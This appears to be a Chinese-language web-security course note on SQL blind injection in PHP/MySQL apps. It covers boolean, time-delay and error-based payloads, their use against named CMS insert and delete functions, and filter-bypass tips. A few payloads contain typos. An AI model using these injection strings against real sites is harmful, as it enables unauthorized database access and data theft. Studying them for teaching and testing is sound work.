第44天:WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式
PHP-MYSQL-SQL操作-增删改查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #1 、功能:数据查询 查询:SELECT * FROM news where id= $id #2 、功能:新增用户,添加新闻等 增加:INSERT INTO news (字段名) VALUES (数据) #3 、功能:删除用户,删除新闻等 删除:DELETE FROM news WHERE id= $id #4 、功能:修改用户,修改文章等 修改:UPDATE news SET id= $id
PHP-MYSQL-注入函数-布尔&报错&延迟 原因:不能回显 为了解决常规的联合查询注入不行的情况
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
分类 我们可以知道盲注分为以下三类:
1、基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2、基于时间的SQL盲注-延时判断
if,sleep
3、基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
延迟 1 2 3 4 5 and sleep(1 );and if(1 > 2 ,sleep(1 ),0 );and if(1 < 2 ,sleep(1 ),0 );and if(length(database())= 7 ,sleep(10 ),0 );and if(and left (database(),2 )= 'pi' ,sleep(10 ),0 );
布尔 1 2 3 4 5 6 and length(database())= 7 ;and left (database(),1 )= 'p' ;and left (database(),2 )= 'pi' ;and substr(database(),1 ,1 )= 'p' ;and substr(database(),2 ,1 )= 'i' ;and ord(left (database(),1 ))= 112 ;
报错 1 2 3 and updatexml(1 ,concat(0x7e ,(SELECT version()),0x7e ),1 )and updatexml(1 ,concat(0x7e ,(SELECT datebase()),0x7e ),1 )and extractvalue(1 , concat(0x5c , (select table_name from information_schema.tables limit 1 )));
更多:https://www.jianshu.com/p/bc35f8dd4f7c
参考 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 like 'ro%' #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等 if(条件,5 ,0 ) #条件成立 返回5 反之 返回0 sleep(5 ) #SQL 语句延时执行5 秒 mid(a,b,c) #从位置b开始,截取a字符串的c位 substr(a,b,c) #从位置b开始,截取字符串a的c长度left (database(),1 ),database() #left (a,b)从左侧截取a的前b位 length(database())= 8 #判断数据库database()名的长度 ord= ascii ascii(x)= 97 #判断x的ascii码是否等于97
PHP-MYSQL-注入条件-数据回显&错误处理 PHP开发项目-输出结果&开启报错
1 2 #基于延时:都不需要and if(1 = 1 ,sleep(5 ),0 )
1 2 #基于布尔:有数据库输出判断标准(数据回显)and length(database())= 6
1 2 3 4 5 #基于报错:有数据库报错处理判断标准(容错处理) 注:代码中有`or die(mysqli_error($con));`会报错回显and updatexml(1 ,concat(0x7e ,(SELECT @@version ()),0x7e ),1 )and updatexml(1 ,concat(0x7e ,(SELECT database()),0x7e ),1 )
1 2 3 4 5 6 7 #测试delete 注入:(有无回显,有无报错) 删除(延迟):1 and / or if(1 = 1 ,sleep(5 ),0 ) 删除(布尔):3 and length(database())= 6 (无回显 无法判断注入) 删除(报错):4 and updatexml(1 ,concat(0x7e ,(SELECT version),0x7e ),1 )
PHP-MYSQL-CMS案例-插入报错&删除延时 1、xhcms-insert报错
1 ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
黑盒注入思路 盲注:报错和延迟都可以
1、报错:有可能会失败,需要看代码段有没有写那个报错的代码段
2、延迟:大部分都可以,可不可以还要看一个条件:符号的问题,能不能注释闭合
2、kkcms-delete延时
1 2 3 4 5 and if(1 = 1 ,sleep(5 ),0 )or if(1 = 1 ,sleep(5 ),0 )or if(ord(left (database(),1 ))= 107 ,sleep(2 ),0 )
空格:%20
若有单引号过滤,可用ASCII码替换